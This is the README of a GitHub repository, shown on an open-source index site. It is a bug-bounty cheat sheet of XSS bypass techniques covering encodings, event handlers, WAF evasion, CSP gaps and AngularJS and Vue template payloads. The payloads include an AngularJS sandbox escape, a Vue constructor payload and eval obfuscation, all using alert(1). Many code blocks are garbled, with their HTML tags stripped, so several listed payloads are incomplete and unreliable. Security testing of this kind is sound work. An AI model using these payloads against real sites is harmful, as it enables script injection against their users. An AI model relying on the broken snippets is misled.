An open API service indexing awesome lists of open source software.

https://github.com/ero-hack/bypassxss

A curated collection of advanced XSS bypass techniques, including WAF evasions, framework-specific payloads, and real-world bug bounty cases.
https://github.com/ero-hack/bypassxss

bugbounty bypass dork erohack xss xss-attacks xss-bypass xss-dorks

Last synced: 2 months ago
JSON representation

A curated collection of advanced XSS bypass techniques, including WAF evasions, framework-specific payloads, and real-world bug bounty cases.

Awesome Lists containing this project

README

          

# Advanced Cross-Site Scripting (XSS) Bypass Techniques

> **Mastering Filters, WAFs, and Real-World Exploitation**

---

## ๐Ÿ“˜ Introduction

Cross-Site Scripting (XSS) remains one of the most prevalent and dangerous vulnerabilities in modern web applications. Despite improvements in input sanitization, CSP headers, and WAFs, attackers consistently find creative ways to bypass restrictions and execute scripts. This document presents a deep-dive into advanced XSS bypass techniques, grounded in real-world bug bounty cases and research.

---

## ๐Ÿงญ Table of Contents

1. [Introduction](#-introduction)
2. [Types of XSS Filters](#-types-of-xss-filters)
3. [Encoding-Based Bypasses](#-encoding-based-bypasses)
4. [Event Handler & DOM Tricks](#-event-handler--dom-tricks)
5. [HTML5 Abuse & Weird Tags](#-html5-abuse--weird-tags)
6. [JavaScript Context Escapes](#-javascript-context-escapes)
7. [WAF Bypass Techniques](#-waf-bypass-techniques)
8. [Framework-Specific Payloads](#-framework-specific-payloads)
9. [CSP Misconfigurations](#-csp-misconfigurations)
10. [Advanced Obfuscation Techniques](#-advanced-obfuscation-techniques)
11. [Case Studies from Bug Bounties](#-case-studies-from-bug-bounties)
12. [Tools for Testing & Automation](#-tools-for-testing--automation)
13. [Payload Repository](#-payload-repository)
14. [Final Notes](#-final-notes)
15. [References](#-references)

---

## ๐Ÿ” Types of XSS Filters

* Input Filters (client-side / server-side)
* Output Filters (context-based)
* HTML Sanitizers (DOMPurify, xss-filters)
* WAFs (Cloudflare, Akamai, AWS WAF)

---

## ๐Ÿงฌ Encoding-Based Bypasses

```html
<script\x3Ealert(1)

```

---

## ๐Ÿง  Event Handler & DOM Tricks

```html

Hover me

Click me
```

---

## ๐Ÿงช HTML5 Abuse & Weird Tags

```html
alert(1)

```

---

## ๐Ÿงฉ JavaScript Context Escapes

```js
var data = "";
// Payload: ' onfocus=alert(1) autofocus='

JSON.parse('{"user":""}')
```

---

## ๐Ÿงฑ WAF Bypass Techniques

* Double Encoding:

```html
alert(1)
```

* Tag Confusion:

```html
<script>alert(1)
```

* Mixed Context Injection
* Non-Standard Quotes, Spaces, Comments

---

## โš™๏ธ Framework-Specific Payloads

### AngularJS

```html
{{constructor.constructor('alert(1)')()}}
```

### React

Escape JSX via `dangerouslySetInnerHTML`

### Vue.js

```html
{{['a'].pop().constructor('alert(1)')()}}
```

---

## ๐Ÿ›ก๏ธ CSP Misconfigurations

* Open `script-src` or `unsafe-inline`
* Trusted `data:` URIs
* Using `script` inside SVG or iframe

---

## ๐ŸŒ€ Advanced Obfuscation Techniques

```html
<!--alert(1)//-->
eval("al"+"ert(1)")
alert(1)]]>
```

---

## ๐Ÿงพ Case Studies from Bug Bounties

โœ”๏ธ **Case #17 (2024)**: Bypassed client-side regex using ``
โœ”๏ธ **Private Program (2025)**: AngularJS sandbox escape using `{{constructor.constructor('alert(1)')()}}`

---

## ๐Ÿงช Tools for Testing & Automation

* [XSStrike](https://github.com/s0md3v/XSStrike)
* [Dalfox](https://github.com/hahwul/dalfox)
* [BugHunter](https://github.com/erohack/bughunter) *(by EroHack)*
* Custom Payload Generators

---

## ๐Ÿ’ฃ Payload Repository

```
payloads/
โ”œโ”€โ”€ waf-bypass.txt
โ”œโ”€โ”€ dom-based.txt
โ”œโ”€โ”€ unicode-encodings.txt
โ”œโ”€โ”€ framework-specific/
โ”‚ โ”œโ”€โ”€ angular.txt
โ”‚ โ”œโ”€โ”€ react.txt
โ”‚ โ””โ”€โ”€ vue.txt
โ””โ”€โ”€ csp-bypass.txt
```

---

## ๐Ÿงพ Final Notes

* Always test across browsers.
* CSP headers are not always reliable.
* Validate both reflection and execution.
* Automate with caution โ€” manual inspection is key.

---

## ๐Ÿ”— References

* [OWASP XSS Cheat Sheet](https://owasp.org/www-community/xss)
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
* [PortSwigger XSS Bypasses](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
* [HackerOne Writeups](https://hackerone.com/hacktivity)

---

**Author:** [Shayan from EroHack](https://github.com/ERO-HACK)
**Telegram:** [Join Telegram](https://t.me/erohack0)
**License:** MIT
**Last Update:** July 2025